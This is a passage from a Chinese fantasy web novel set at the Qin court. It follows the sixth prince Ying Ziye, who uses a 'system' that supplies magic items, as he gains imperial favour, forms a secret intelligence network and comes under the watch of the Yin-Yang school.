这一幕,让不少敏锐的朝臣心头剧震!
始皇帝深邃的目光在赢子夜身上停留片刻,缓缓开口。
“朕,向来赏罚分明,说吧,你想要什么赏赐?”
殿内顿时安静下来,所有人都屏息以待。
按照常理,这等大功,即便索要爵位官职也不为过。
赵高眯起眼睛,暗自盘算着若赢子夜借机索要实权官职该如何应对。
扶苏微微蹙眉,似乎已经预见到朝堂格局即将发生变化。
就连胡亥都暂时收起怨毒之色,安静地等待着答案。
赢子夜却只是恭敬地行了一礼,语气诚恳。
“回父皇,儿臣不过是替仙人转呈丹药,实在不敢居功。”
“这仙缘本是父皇德配天地所致,儿臣岂敢以此邀赏?”
始皇帝眼中闪过一丝讶异。
“哦?当真什么都不要?”
赢子夜抬起头,嘴角忽然扬起一抹玩味的笑意。
“不过…若父皇执意要赏,儿臣斗胆请赏万两黄金!”
“哗——”
殿内顿时一片哗然。
众臣面面相觑,简直不敢相信自己的耳朵。
李斯手中的笏板差点掉落,赵高阴鸷的脸上浮现出难以置信的神色,就连一向沉稳的蒙恬都瞪大了眼睛。
“只要…黄金?!”
始皇帝重复了一遍,语气中带着几分玩味。
“正是。”
赢子夜笑得云淡风轻。
“儿臣近来对商道颇感兴趣,想试试做些小买卖。”
“这万两黄金,就当是儿臣向父皇借的本钱。”
这番话说得轻描淡写,却让在场所有人都愣住了。
堂堂大秦公子,竟然说要去做商贾之事?
这简直……
赵高藏在袖中的手死死攥紧,指甲深深掐入掌心。
他完全看不透赢子夜的用意——
放着唾手可得的权势不要,却要这黄白之物?
这废物公子到底在打什么算盘?
扶苏神色复杂地看着自己的六弟,欲言又止。
他忽然发现,这个往日里毫不起眼的弟弟,此刻竟显得如此陌生而难以捉摸。
赢子夜眼底闪过一丝精光。
他当然知道众人此刻的想法。
在他们眼中,自己还是那个不成器的六公子。
但这样正好,他要的就是这个效果。
黄金虽俗,却能办成许多爵位办不到的事……
始皇帝意味深长
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地看了赢子夜一眼,忽然觉得这个儿子比想象中要有趣得多。
“子夜啊……”
帝王的声音低沉而浑厚。
“你这份淡泊名利之心,倒是难得。”
他缓缓转身踱步,靴底踏在玉阶上发出清脆的声响。
“不过,朕岂能亏待有功之臣?”
殿内气氛骤然一紧!
赵高猛地抬头,眼中闪过一丝不安。
扶苏手中的玉笏微微颤抖。
胡亥更是脸色阴鸷,死死盯着父皇的背影。
“即日起,”
始皇帝的声音如洪钟大吕,在殿内回荡。
“赐赢子夜设立门客之权,所需银钱由少府拨付!!!”
“轰——!”
朝堂瞬间炸开了锅!
这可是只有长公子扶苏才享有的特权!
李斯手中的竹简“啪嗒”一声掉在地上!
蒙恬虎目圆睁。
就连一向清冷的月神都微微变色。
赢子夜表面恭敬行礼,心中却暗暗叫苦。
这哪是赏赐?
分明是把他架在火上烤!
他原本只想低调捞钱,暗中发展势力。
这下可好,直接成了众矢之的。
“儿臣…谢父皇恩典。”
他低头领旨,声音里恰到好处地带着几分惶恐与不安。
但始皇帝锐利的目光却捕捉到他眼底一闪而过的精明。
这小子,果然在装!
赵高此刻已是面如死灰。
设立门客意味着可以名正言顺地招揽人才,组建势力!
他苦心经营多年的朝堂格局,就这样被打破了!
“退朝。”
始皇帝大手一挥。
“子夜,随朕来章台宫。”
赢子夜恭敬应是,跟在父皇身后退出大殿。
经过赵高身边时,他分明感受到一道毒蛇般的目光。
抬头,对上赵高阴鸷的眼神,赢子夜嘴角微不可察地扬了扬。
既然躲不过……
那就陪你们好好玩玩,也不是不行。
第11章 帝王权术!
章台宫外,朝雾将散。
青石栏畔,一方紫檀棋盘早已摆好。
黑玉、白玉两色棋子静卧棋笥,在初阳下泛着冷冽的光。
始皇帝负手立于石栏前,玄色帝袍在晨风中纹丝不动。
唯有袍角金线绣就的玄鸟纹微微浮动,仿佛真龙在云中游弋。
他的背影如同一座亘古不变的山岳,沉稳而不可撼动!
连晨雾,都自觉地绕开他的身形。
帝王的目光穿透薄雾,越过咸阳城巍峨的城墙,直抵远方天际。
那眼神太过深邃,仿佛蕴含着整片山河的重量。
又似一汪深不见底的寒潭,表面平静无波,内里却暗流汹涌。
阳光在他轮廓分明的侧脸上投下深浅不一的阴影,更添几分莫测高深。
空气中,更弥漫着令人窒息的威压,连飞鸟都不敢从这片天空掠过。
始皇帝仅仅是站在那里,就给人一种天地尽在掌握的压迫感。
仿佛他目光所及之处,便是大秦铁骑将要踏平的疆土!!
他缓缓抬起右手,指节在石栏上轻轻一叩。
这看似随意的动作,却让侍立在十步外的宦官浑身一颤,不自觉地弯下腰去。
这就是帝王之威!!
无需言语,一个细微的动作就足以让人肝胆俱裂。
而远处的宫墙上,值守的禁卫不约而同地挺直了腰背。
即使相隔甚远,他们也能感受到那股令人战栗的威严。
仿佛有一双无形的眼睛,正冷冷地审视着大秦疆域的每一个角落。
身后,
脚步声由远及近。
嬴子夜紧随而至,一袭墨色锦袍,腰间玉带轻响,行至帝王身后三步处站定。
“父皇有何事教诲?”
始皇帝这才转身,目光如炬。
“陪寡人下一局。”
不是询问,而是命令。
嬴子夜垂首应是,在石凳上端正坐下。
指尖触到冰凉的棋子时,他忽然明白了什么。
今日这局棋,怕是不简单!
始皇帝执黑先行,一子落在天元。
“知道为何寡人喜弈棋么?”
黑子叩击棋盘的声音清脆有力,余音在晨雾中久久不散。
嬴子夜执白应对,轻声道:“儿臣愚钝。”
“棋如天下。”
始皇帝第二子落下,封住白棋去路。
“这一枚,是李斯。”
嬴子夜执棋的手微微一顿!
“法家重规矩,就如这棋枰上的经纬。”
始皇帝指尖轻点棋盘。
“用之得当,可定乾坤;用之不当,反受其制!”
白子迟疑片刻,落在三三位。
始皇帝眼中闪过一丝笑意:“这一手,倒像是蒙恬的用兵之道。”
说着,一记凌厉的打入!!
“而这一子,便是赵高。”
黑子如刀,直插白阵腹地!
嬴子夜额头渗出细汗。
他忽然看懂了,这哪里是棋局?
分明是朝堂的缩影!!!
“父皇,这一子……”
他执白的手悬在半空。
“落子无悔。”
始皇帝的声音不疾不徐,“就如帝王之令,既出,便不容更改。”
白子终于落下,却是巧妙的一记腾挪。
始皇帝眉梢微挑:“好一手以退为进。”
黑子随即跟上。
“但记住,为君者,退一步可以,退两步…便是示弱。”
晨雾散去时。
棋盘上已杀机四伏!!
“这一片,”
始皇帝指着角上的厮杀,“是诸子百家!”
“看似杂乱无章,实则各有章法。”
一记妙手。
“关键是要让他们互相牵制。”
嬴子夜若有所思,白子一记尖冲,直指黑棋薄弱处。
“好胆识!”
始皇帝大笑:“但别忘了,”
黑子突然转向,在另一处落下。
“朝堂之上,永远要留一手。”
棋至中盘,嬴子夜的白棋已显颓势!
“知道为何会输么?”始皇帝忽然问道。
嬴子夜凝视棋局,缓缓摇头。
“因为你在下棋,”
始皇帝一子定乾坤:“而寡人,在下势!!!”
最后一枚黑子落下,整盘棋局忽然明朗!
原来从一开始,白棋就陷入了黑棋精心编织的罗网。
“棋子的死活不重要,”
始皇帝起身,袍袖拂过棋盘,“重要的是…谁在执棋。”
嬴子夜怔怔望着棋局,冷汗浸透内衫。
这一刻,他真正明白了何为帝王心术!
“儿臣…受教。”
始皇帝背对着他,望向远处升起的朝阳。
“去吧。记住今日这盘棋。”
待嬴子夜告退后,帝王威严的面容上,闪过一丝几不可察的欣慰。
……
胡亥府邸深处。
一声巨响,骤然炸裂!!!
上好的紫檀木案几在狂暴的掌力下四分五裂,木屑飞溅。
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>胡亥那张总是挂着天真笑意的脸庞此刻扭曲得可怕,眼中翻涌着毒蛇般的怨毒。
“废物!都是废物!!”
他尖细的嗓音里透着刺骨的寒意。
门外传来急促的脚步声,两名侍女慌慌张张地推门而入。
“公子,您没事吧……”
话音未落,胡亥的身影已如鬼魅般闪至近前。
他纤细的手指轻轻一划!
两名侍女顿时僵在原地,脖颈上缓缓浮现一道血线。
“呵…”
胡亥轻笑着,看着两具尸体缓缓倒下。
他慢条斯理地掏出一方丝帕,擦拭着指尖并不存在的血迹。
脸上又恢复了那人畜无害的笑容。
“公子的武功,倒是越发精进了。”
正在这时。
赵高阴柔的嗓音从门外传来。
他缓步走入,对满地的狼藉视若无睹,甚至看都没看那两具尸体一眼。
胡亥随手将染血的丝帕丢在地上,声音又恢复了往日的稚气。
“老师~那个贱种凭什么?!”
他耷拉着脸,像个受了委屈的孩子,可眼中闪烁的寒光却令人不寒而栗。
赵高阴测测地笑了。
“六剑奴昨夜探查到,赢子夜府中确有古怪。”
他袖中滑出一卷竹简。
“这是详细记录。”
胡亥接过竹简,随手翻阅着。
他脸上的天真渐渐褪去,取而代之的是一种令人毛骨悚然的平静。
“有趣…”
他轻声呢喃,指尖突然燃起一缕幽蓝色的火焰,将竹简烧成灰烬。
“不论那夜异象是他搞的鬼,还是真有什么仙人。”
灰烬从他指间簌簌落下,胡亥抬起头,眼中杀意凛然。
“本公子一定要他死得…很难看!”
赵高嘴角勾起一抹满意的弧度。
这才是他精心培养的毒蛇!
表面天真烂漫,内里却比他还要狠毒三分。
“公子放心,”
赵高阴柔的嗓音如同毒蛇吐信。
“老奴已经安排好了。很快,您就能看到一场…好戏。”
胡亥闻言,突然拍手笑了起来,那笑声清脆悦耳,仿佛一个得了新玩具的孩子。
可在这满地血腥的房间里,却显得格外瘆人。
“老师最好了~”
他欢快地走到赵高身边,亲昵地作了个揖,眼中却闪烁着令人胆寒的冷光。
“到时候,我…定要亲手挖出他的眼睛!!”
……
第12章 吾欲打造一支超越罗网的情报势力!
蜃楼之巅。
云雾缭绕。
月神银发如瀑,立于观星台中央,将朝堂之事娓娓道来。
当她提及那颗洗髓丹时,连常年缭绕在观星台上的雾气都为之一滞!
“竟有此事?”
大司命妖艳的红唇微张,手中把玩的一朵血色曼陀罗瞬间枯萎。
她狭长的凤眼中闪过一丝难以置信。
“就连当初云中君炼制的聚仙丹,也远不及此等神效…”
东皇太一的黑金面具在星辉下泛着诡异的光泽,宽大的黑袍无风自动。
他缓缓抬手,一团幽蓝色的火焰在掌心跃动,映照出面具上复杂的星象纹路。
“庄周梦蝶……”
他沙哑的声音如同金属摩擦。
“当年道家一脉三分,天宗顺天,人宗逆命,而我阴阳家……”
火焰突然暴涨,将整个观星台映照得如同鬼域。
大司命不自觉地后退半步,恭敬地低下头。
她妖娆的身姿在幽蓝火光中显得格外诡异,鲜红的指甲深深掐入掌心。
“月神。”
东皇太一突然转身。
“你确定那丹药上的灵力波动,与昨夜异象同源?”
月神清冷的声音里罕见地带着一丝波动:“不但同源,而且…更精纯。”
观星台上顿时一片死寂!
大司命眼中闪过一丝嗜血的光芒。
“难道真有什么仙人?不如让属下……”
“愚蠢!”
东皇太一突然厉喝,吓得大司命浑身一颤,连忙跪伏在地!
黑金面具下的目光如刀般扫过二人。
“天宗信命,人宗逆天,却都不过是井底之蛙。”
他宽大的袖袍一挥,星图骤然变幻。
“真正的天道,早在那位六公子身上显现了!”
月神银发下的眼眸微微收缩。
“首领的意思是……”
东皇太一的黑金面具在星辉下泛着诡谲的幽光,宽大的黑袍无风自动。
他缓缓抬起枯瘦的手指,星图上那颗隐星骤然绽放出刺目的血芒。
“那夜仙人异象…确实已现。”
他的声音如同砂纸摩擦,带着金属般的颤音。
“或许,他便是仙人选定之人……”
“是解开苍龙七宿的关键线索!!!”
大司命妖艳的面容骤然变色,手中把玩的毒花瞬间化作齑粉。
她猩红的指甲深深掐入掌心,却不敢发出半点声响。
月神银发轻颤,面纱下的双眸第一次流露出震惊之色。
作为阴阳家右**,她比任何人都清楚这意味着什么。
只见东皇太一突然转身,黑袍翻卷如乌云压境。
面具上的星象纹路诡异地流动起来,仿佛活物般扭曲变幻。
“传本座令谕。”
他的声音突然拔高,带着不容置疑的威严。
“阴阳家上下,绝不可与赢子夜交恶!”
大司命低着头,眼中却闪烁着阴毒的光芒。
对她来说,不能杀戮的猎物,才是最令人烦躁的。
但首领的命令,她不敢有丝毫违逆。
月神静静立于一旁,银发遮掩下的面容晦暗不明。
作为最接近东皇太一的人,她比任何人都清楚。
能让首领如此重视,甚至不惜改变多年谋划的存在,究竟意味着什么。
于是,她适时上前,银发在星辉下流转。
“首领,是否需要属下亲自前往?”
东皇太一黑袍翻涌,枯瘦的手指从袖中甩出一道青铜令牌。
令牌在空中划出幽蓝轨迹,稳稳落入月神掌心。
“带少司命同去。”
沙哑的声音如同金属摩擦。
“凭此令,可使他自由出入蜃楼各处。”
大司命瞳孔骤缩!!
那可是连她都不曾拥有的权限!
猩红的指甲深深掐入掌心,却不敢表露半分不满。
月神银发轻扬,指尖摩挲着令牌上复杂的星纹。
她明白这背后的分量。
蜃楼丹房藏着阴阳家百年积累的天材地宝,更是炼制长生药的核心重地。
竟然要把此物赠予那位六公子……
“今日朝堂之上,”
东皇太一的黑金面具泛起幽光,“他锋芒太露了。”
宽大的袖袍突然无风自动,观星台上的星图剧烈旋转。
所有星辰都朝着那颗隐星偏移,仿佛在向其朝拜。
“传令少司命。”
东皇太一的声音陡然转冷,“即日起,入驻六公子府。”
大司命猛地抬头,妖艳的面容闪过一丝扭曲!
这等于将阴阳家最锋利的剑,亲手送到外人手中!
“六公子的命令……”
黑金面具下的目光如刀般扫过众人,“便是本座之令!!!”
月神银发下的眼眸微微收缩。
这个指令,等于将少司命的生杀大权完全交给了那位六公子。
而阴影中,一道紫色身影无声显现。
少司命静立如雕塑,面纱随风轻动,唯有那双紫瞳中闪过一丝几不可察的波动。
“哪怕…”
东皇太一枯瘦的手指突然指向少司命的面纱,“他要你取下这个,奉献一切!”
少司命紫瞳骤缩,修长的睫毛微微颤动。
但转瞬间又恢复成古井无波的状态,轻轻颔首。
大司命再也按捺不住!
“首领!少司命她……”
“嗯?”
东皇太一缓缓转头,面具上的星纹突然渗出鲜血般的红光。
大司命瞬间跪伏在地,额头渗出冷汗。
“属下…失态了!”
月神适时上前,银发流转间已挡在大司命身前。
“属下这就带少司命启程。”
少司命紫衣飘动,无声地来到月神身侧。
面纱遮掩下看不清表情,唯有腰间悬挂的青铜铃铛发出细微的脆响。
东皇太一最后看了一眼星图,隐星的光芒几乎要盖过帝星。
他黑袍翻卷,身影渐渐融入黑暗。
“记住,他的命,比你们任何人的…都重要。”
最后一字落下,观星台突然陷入死寂。
少司命紫瞳中倒映着渐暗的星辉,纤细的手指无意识地抚过腰间铃铛。
月神银发下的目光复杂难明。
她知道,
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从这一刻起,阴阳家百年来布下的棋局,已经彻底改变了走向!!!
……
六公子府内,烛火摇曳。
赢子夜独坐案前,修长的手指轻叩着棋盘。
黑白交错的棋子倒映在他深邃的眼眸中,仿佛重现着白日里与父皇的那局对弈。
“棋子…势……”
他低声呢喃,指尖一枚白子突然碎成齑粉。
门外传来轻微的脚步声,老管家低声道。
“公子,人已带到。”
“进。”
门扉轻启,三道身影鱼贯而入。
左侧是位面容刚毅的中年男子,虽着布衣却难掩行伍之气——
正是被赵高构陷的前禁卫统领,赵弋苍。
右侧书生模样的青年神色警惕,腰间却悬着柄短剑,乃因谏言被贬的谏大夫公孙墨玄。
中间那人抱剑而立,眉宇间尽是桀骜,赫然是名震咸阳的游侠昭鞅。
三人齐齐行礼,却掩饰不住眼中的忐忑。
他们不明白,这位素无交集的贵胄,六公子,为何突然召见自己这些落魄之人。
赢子夜抬眸,目光如刀般扫过三人。
昭鞅突然嗤笑一声。
“公子深夜召见我们这些‘罪人’,不知有何贵干?”
话语中的挑衅之意昭然若揭。
赢子夜不以为忤,反而轻轻一笑。
“本公子欲打造一支超越罗网的情报势力。”
他顿了顿,目光如刀。
“乃至超越传说中的黑冰台!”
“什么?!”
赵弋苍虎躯一震,常年握剑的手竟微微发抖。
这位曾经的禁卫统领比谁都清楚黑冰台意味着什么。
那可是始皇帝亲手缔造的帝国利刃!!!
公孙墨玄儒雅的面容瞬间血色尽褪。
“公子慎言!此话若传出去……”
“所以本公子找的是你们。”
赢子夜随手一挥,三个锦盒精准地落在三人面前。
“一个被赵高构陷的禁卫统领,一个因谏言被贬的谏官,还有个…”
他看向昭鞅。
“被全城通缉的游侠。”
锦盒开启的瞬间,三人的呼吸同时停滞!
赵弋苍手中的锦盒里,静静躺着一枚通体赤红的“九转玄阳丹”。
丹纹如龙盘虎踞,散发着灼热气息。
这枚丹药若是流传出去,足以让江湖上的炼药师们抢破头颅!!!
公孙墨玄的檀木匣中,整整齐齐叠着一件“星陨玄甲”。
甲片薄如蝉翼,却泛着星辰般的光泽,轻轻一抖便发出金玉交鸣之声。
这分明是用天外陨铁打造的护身至宝!
而昭鞅面前的玉简上,则刻着《太虚剑意》四个古朴篆字。
剑意流转间,竟隐隐有剑气透简而出。
赫然是早已失传的上古剑修传承!
赢子夜负手而立,眼中闪过一丝玩味。
这些可都是他这些年来从“每日秒杀系统”中积攒的宝贝。
往日里堆在墙角吃灰,如今终于派上用场。
“如何?”
他轻声道。
“够不够陪本公子玩这一局?”
第13章 暗河者,潜流于地,滋养万物而不争
三人呆立当场。
这些宝物,随便一件都足以作为镇派之宝,却被这位六公子随手拿出……
公孙墨玄突然单膝跪地,金蚕软甲在烛光下流转着星辰般的光泽。
“公子手笔,墨玄服了!”
赵弋苍喉结滚动,捧着丹药的手微微发抖。
作为军中老将,他太清楚这枚“九转玄阳丹”的价值——
服下此丹,他甚至有把握在三年内突破至宗师之境!!
昭鞅指尖轻触玉简,一道剑气突然窜入经脉。
他浑身一震,眼中精光暴涨。
“这…这剑意……”
他的声音都有些发颤。
“公子从何处得来这些?”
赢子夜负手而立,烛光在他轮廓分明的侧脸上投下深浅不一的阴影。
他缓缓转身,目光如刀锋般扫过三人。
“赵弋苍。”
他的声音低沉而有力。
“你身为禁卫统领,却因赵高一句谗言便被革职查办。”
手指轻叩案几。
“为何?只因你没有靠山。”
赵弋苍虎躯一震,眼中闪过一丝痛色。
那双布满老茧的手紧握成拳,指节发白!
“公孙墨玄。”
赢子夜转向文士。
“你直言进谏,反被贬为庶民。”
一声冷笑。
“为何?因为你没有根基。”
公孙墨玄儒雅的面容微微抽动,腰间老旧破损的谏议大夫腰带似乎变得格外沉重。
“至于你,昭鞅。”
赢子夜目光如电。
“被罗网追得如丧家之犬,又是为何?”
昭鞅眼中凶光暴涨,腰间断剑嗡嗡作响。
赢子夜突然一掌拍在案上,震得茶盏跳动。
“因为这是个**的世道!!!”
“蛮夷虎视眈眈,六国余孽蛰伏待发,朝堂之上更是暗流汹涌!”
他的声音陡然提高。
“你们,可愿随本公子杀出一条血路?!”
三人浑身一震,不约而同单膝跪地。
“愿为公子效死!!!”
赢子夜微微颔首,从袖中取出两枚玄铁令牌,分别抛给昭鞅和赵弋苍。
“昭鞅为副统领,赵弋苍为正统领。”
他的声音恢复了平静,却更显威严。
“搜罗人才,不问出身,只要绝对的忠心。”
令牌入手冰凉,正面刻着“暗河”二字,背面则是一道深不见底的沟壑图案。
“暗河者,潜流于地,滋养万物而不争。”
赢子夜指尖轻抚令牌。
“凡入暗河者,前尘尽消,唯有代号相称。”
昭鞅咧嘴一笑,露出森白牙齿。
“正合我意!”
赵弋苍郑重地将令牌收入怀中,军人的本能让他立刻进入状态。
“末将明白。”
赢子夜又取出一卷竹简递给公孙墨玄。
“至于你,负责筹建招贤馆,明面上招募贤才,不论出身,唯才是举。”
公孙墨玄双手接过竹简,眼中精光闪烁。
“公子是要……”
“不错。”
赢子夜打断他的话。
“明暗相辅,方成大事!!”
三人对视一眼,都从对方眼中看到了震撼。
这位六公子的谋划,远比他们想象的还要深远!
“记住。”
赢子夜最后环视三人,声音陡然转冷。
“今日之言,若泄半分……”
“属下愿受万刃加身之刑!!!”
三人齐声应道。
赢子夜满意地点点头,转身望向窗外渐亮的天色。
他知道,从这一刻起,自己手中终于有了第一把真正可用的刀。
而这一切,才刚开始!
……
等三人离开后,赢子夜便是一屁股瘫坐在软榻上,随手抓起一枚朱果塞进嘴里,毫无形象地咀嚼着。
他望着三人离去的方向,长长地叹了口气。
“唉,麻烦**……”
他四仰八叉地躺下,盯着房梁发呆。
原本以为靠系统秒杀的那些丹药**就够用了,谁知道养人这么费事。
不仅要给装备,还得发月钱,更别提训练场地、情报网铺设……
“这哪是养势力,分明是养了一群吞金兽啊!”
他翻了个身,把脸埋进软枕里,闷声抱怨。
“系统啊系统,”
赢子夜有气无力地嘟囔。
“你每天就给那么点东西,还一大半都是鸡肋,够谁用啊……”
窗外传来鸟叫声,他烦躁地抓了抓头发。
本来只想当条咸鱼,每天吃吃喝喝。
谁知道现在不仅要操心朝堂争斗,还得想办法搞钱养人。
“搞钱…搞钱……”
他喃喃自语,突然一个鲤鱼打挺坐起来。
“对了!”
赢子夜眼睛一亮,想起之前秒杀到的那张“酿酒秘方”。
据说酿出来的酒比宫廷御酒还要醇香数倍。
“开个酒坊?不行不行,太慢了……”
他又蔫了下去。
“要不……卖几颗丹药?”
这个念头刚冒出来就被他否决了。
太招摇,容易引起不必要的注意。
“啊——好烦!”
他抓狂地揉乱了自己的头发。
“为什么别人穿越都是系统直接送军队送钱,到我这就得自己想办法?”
赢子夜正揉着太阳穴发愁,忽听门外老管家急促的脚步声。
“公子,阴阳家月神大人求见。”
他手指一顿,眼中闪过一丝玩味。
今日朝堂上的动静,果然把这些人都引来了。
“还真是热闹啊……”
他低声嘀咕,随即整了整衣冠。
“请进来吧。”
月神一袭白衣飘然而入,银发在烛光下流转着月华般的光泽。
她微微欠身,声音清冷如霜。
“恭喜六公子今日朝堂大放异彩。”
赢子夜懒洋洋地靠在软榻上,随手拨弄着案上的棋子。
“月神大人深夜造访,不会只是来说句恭喜吧?”
月神不疾不徐地从袖中取出一枚青铜令牌,令牌上的星纹在烛光下泛着幽蓝光芒。
“东皇阁下命我送来此物,公子可凭此自由出入蜃楼。”
赢子夜眉梢微挑,却没伸手去接。
他太清楚这枚令牌的分量了。
蜃楼可是阴阳家的核心重地!
“木秀于林,风必摧之。”
月神话锋一转。
“公子今日锋芒太露,恐有小人作祟。东皇阁下特意安排……”
她侧身让开,一道紫色身影无声无息地出现在门口。
少司命面纱轻拂,紫瞳如冰,整个人仿佛与阴影融为一体。
“安排少司命贴
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身保护公子安全。”
赢子夜手中的棋子“啪嗒”掉在棋盘上。
他没想到阴阳家竟舍得把她都给派出来。
“这…令牌我收下,少司命就不必了吧?”
他干笑两声。
“怎敢劳烦……”
话未说完,少司命紫瞳骤然一冷。
面纱无风自动,腰间铃铛发出刺耳的脆响。
月神银发下的眼眸微微闪动。
“公子是觉得少司命不够资格?”
她沉吟片刻。
“若是如此,我可回禀东皇阁下,改派大司命前来。”
“或者我亲自…贴身护持公子!”
赢子夜头皮发麻,连忙摆手。
“不必不必!”
他偷瞄了一眼少司命越来越冷的眼神,赶紧改口。
“那就…有劳少司命了。”
少司命这才微微颔首,退回阴影中。
但赢子夜分明感觉到,那双紫瞳一直锁定在自己身上,如芒在背。
月神满意地起身告辞,临走前意味深长地看了赢子夜一眼。
“少司命从今日起,任凭公子差遣。”
“任何事。”
最后三个字咬得极轻,却让赢子夜背后一凉。
他干笑着送走月神,转身时差点撞上不知何时已经贴到身后的少司命。
“咳咳!!那个,少司命啊……”
赢子夜尴尬地后退半步。
“要不你先去…呃……”
少司命紫瞳微眯,突然抬手递来一块玉简。
赢子夜接过一看,上面写着四个字。
“听令行事”。
他嘴角抽了抽,这下可好,不仅没推掉这个“保镖”,还似乎…把人给得罪了?
赢子夜揉了揉眉心,看着如影随形的少司命,无奈地摆了摆手。
“唉,少司命不必如此拘束,就当在自己府上一样。”
他转头对老管家吩咐。
“去把西厢房收拾出来,按最高规格布置。”
少司命紫瞳微闪,面纱下的表情看不真切。
她只是轻轻颔首,身形便如烟般消散在阴影中。
但在完全消失前,她的面首微不可察地侧了侧,紫瞳中闪过一丝疑惑——
他……
真是东皇大人口中能解开苍龙七宿的关键?
这个看似懒散的公子,除了那枚丹药外,实在看不出什么特别之处。
赢子夜望着少司命消失的方向,眼中精光一闪而逝。
他摩挲着月神留下的青铜令牌,心中暗忖。
起初以为阴阳家是为丹药而来,如今看来……
所图非小啊!
派少司命贴身“保护”,监视的意味怕是更重些。
他摇了摇头,将这些念头暂时压下。
现在想太多也无益,当务之急是……
“修炼修炼!”
赢子夜伸了个懒腰,晃晃悠悠地朝内室走去。
“自身实力才是根本。”
经过角落那堆“鸡肋”丹药时,他随手抓起一瓶“聚气丹”抛了抛,嘴角勾起一抹狡黠的弧度。
既然阴阳家这么大方……
那不妨陪他们玩玩?
内室门关上的瞬间,阴影中背身走去的少司命紫瞳微凝。
她敏锐地察觉到,方才那一瞬,这位六公子身上似乎闪过一丝令人心悸的气息!
但转瞬即逝,快得像是错觉。
……
第14章 剑意化形,荧惑守心!
之后。
六公子府内室。
赢子夜百无聊赖地翻找着堆积如山的木箱。
“咦?”
他的手指突然碰到一卷泛着青光的玉简,抽出来一看,上面赫然写着《天外飞仙》四个古朴篆字。
“这玩意儿什么时候秒杀来的?都搞忘了。”
他挠了挠头,随手翻开。
玉简刚展开,一道剑气突然窜入眉心。
赢子夜眼前一黑,脑海中顿时浮现出无数剑招画面。
他索性盘腿坐下,在识海中模拟起这套剑法来。
时间匆匆飞逝,转眼已是深夜。
修炼中的赢子夜周身渐渐浮现出淡淡金芒,一缕缕剑气在体外凝结,最终化作数十柄寸许长的金色小剑,如游鱼般环绕飞舞!
此时,正在屋内假寐的少司命突然睁开紫瞳!
她敏锐地察觉到一股凌厉剑气从六公子的内室溢出,身形瞬间化作紫烟消散。
当她出现在内室门外时,瞳孔骤然收缩!!
透过窗棂,她清楚地看到那些金色小剑正自发护卫在赢子夜周身,剑尖对外,俨然一副护主之态。
这是…剑意化形?!
就在少司命震惊之际,夜空突然剧烈震动!
一道赤红火光划破天际,将整个咸阳城映照得如同白昼。
“轰——!”
震耳欲聋的爆响中,赢子夜猛地睁开双眼。
金色小剑瞬间没入体内。
他一个箭步冲出房门,正好与院中的少司命四目相对。
“少司命?”
赢子夜先是一愣,随即了然。
他抬头望向仍在燃烧的天空。
“看来你也察觉到了。”
少司命微微颔首,紫瞳中闪过一丝凝重。
她抬手指向火光最盛处,那似乎是…东郡方向。
赢子夜眯起眼睛,嘴角却勾起一抹玩味的弧度。
“有意思……”
……
章台宫内。
青铜烛台上的火光微微摇曳。
始皇帝伏案批阅奏章,朱笔在竹简上划出凌厉的痕迹。
突然,他手中的笔尖一顿,深邃的眼眸微微眯起。
殿内的烛火齐齐一暗!
“轰——!”
远处传来的闷响让案几上的茶盏轻轻震颤!
始皇帝缓缓放下朱笔,玄色帝袍上的龙纹在烛光下泛着冷芒。
“唰——”
十余道黑影如鬼魅般从殿柱后、帷幔间闪现。
黑冰台**们单膝跪地,黑色面罩下的眼睛死死盯着地面,连呼吸都放得极轻。
始皇帝起身,九旒冕上的玉珠相互碰撞,发出清脆的声响。
他每一步都踏得极稳,靴底叩击地面的声音如同战鼓,震得跪伏的黑冰台**们脊背发寒。
殿门无声开启。
帝王负手立于高阶之上。
夜空中,那道赤红火光仍在燃烧,将他的轮廓镀上一层血色!
“陛下!”
黑甲卫统领李信疾步而来,铠甲铿锵作响。
他在阶下重重跪地,额头渗出冷汗。
“禀陛下,天现异象,有火球坠向东郡!”
始皇帝没有回头,只是微微抬起右手。
这个简单的动作让李信瞬间噤声,连头都不敢抬。
“查!”
简简单单一个字,却让在场所有人浑身一颤。
那声音不大,却如同九幽传来,带着令人胆寒的杀意。
“诺!”
李信重重叩首,铠甲与地面碰撞出沉闷的响声。
始皇帝的目光始终锁定在那道火光上,指节无意识地摩挲着定秦剑的剑柄。
突然,他头也不回地开口。
“传月神。”
三个字,让空气瞬间凝固。
侍立在侧的宦官浑身一抖,手中的符节差点落地。
“老奴…这就去……”
宦官话音未落,始皇帝突然转身。
那双如渊般深邃的眼眸中,此刻竟有雷霆闪动!
仅仅是一个眼神,就让宦官双腿一软,直接跪倒在地。
“现在!”
这两个字落下时,殿外的禁卫们不约而同地握紧了长戟。
他们清楚地看到,帝王玄色帝袍的袖口,不知何时已经凝结了一层寒霜!
整个章台宫,在这一刻仿佛化作了九幽寒狱。
而立于高阶之上的那道身影,便是这方天地唯一的主宰。
……
蜃楼之巅。
星图骤变。
东皇太一的黑金面具在血色月光下泛着妖异光泽,宽大的黑袍无风自动。
他枯瘦的手指突然掐出一个诡异法诀,观星台上的青铜星盘顿时疯狂旋转。
“咔嚓——!”
星盘中央的玉衡突然裂开一道血痕。
东皇太一猛地抬头,面具下的瞳孔剧烈收缩!
天穹之上,荧惑星正以肉眼可见的速度逼近心宿!
“荧惑守心……”
沙哑的声音如同砂纸摩擦,带着金属般的颤音。
宽大的袖袍突然鼓荡,一团幽蓝火焰在掌心炸开,映照出星图上那触目惊心的血色轨迹。
大司命刚踏入观星台,就被扑面而来的血腥气逼得后退半步。
她惊骇地发现,东皇太一周身三丈内的地面,不知何时已凝结出密密麻麻的血色纹路,如同无数挣扎的怨魂。
“首领……”
她刚开口,东皇太一突然转身。
黑金面具上的星象纹路此刻竟渗出鲜血,在月光下显得格外狰狞。
“尸山血海!”
东皇太一的声音突然变得飘忽不定,仿佛从很远的地方传来,“大劫将至。”
大司命妖艳的面容瞬间血色尽褪。
她从未见过首领如此失态!
那双常年稳如磐石的手,此刻竟在微微颤抖!!!
星盘上的裂痕突然蔓
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延,整个观星台开始剧烈震动。
东皇太一猛地跺脚,一道肉眼可见的波纹从黑袍下扩散,硬生生将震动的星盘**。
“传令下去。”
他的声音恢复了往日的沙哑,却更添几分森寒。
“所有在外弟子,即刻回返蜃楼。”
大司命单膝跪地,猩红的指甲深深刺入掌心。
“属下遵命!”
“还有。”
东皇太一突然打断,黑金面具转向咸阳宫方向。
“让星魂亲自去查,那坠落的到底是什么。”
最后几个字落下时,观星台上所有烛火齐齐熄灭。
唯有天穹上那道血色星光,将东皇太一的身影拉得很长,宛如一尊从九幽爬出的魔神!
……
墨家机关城。
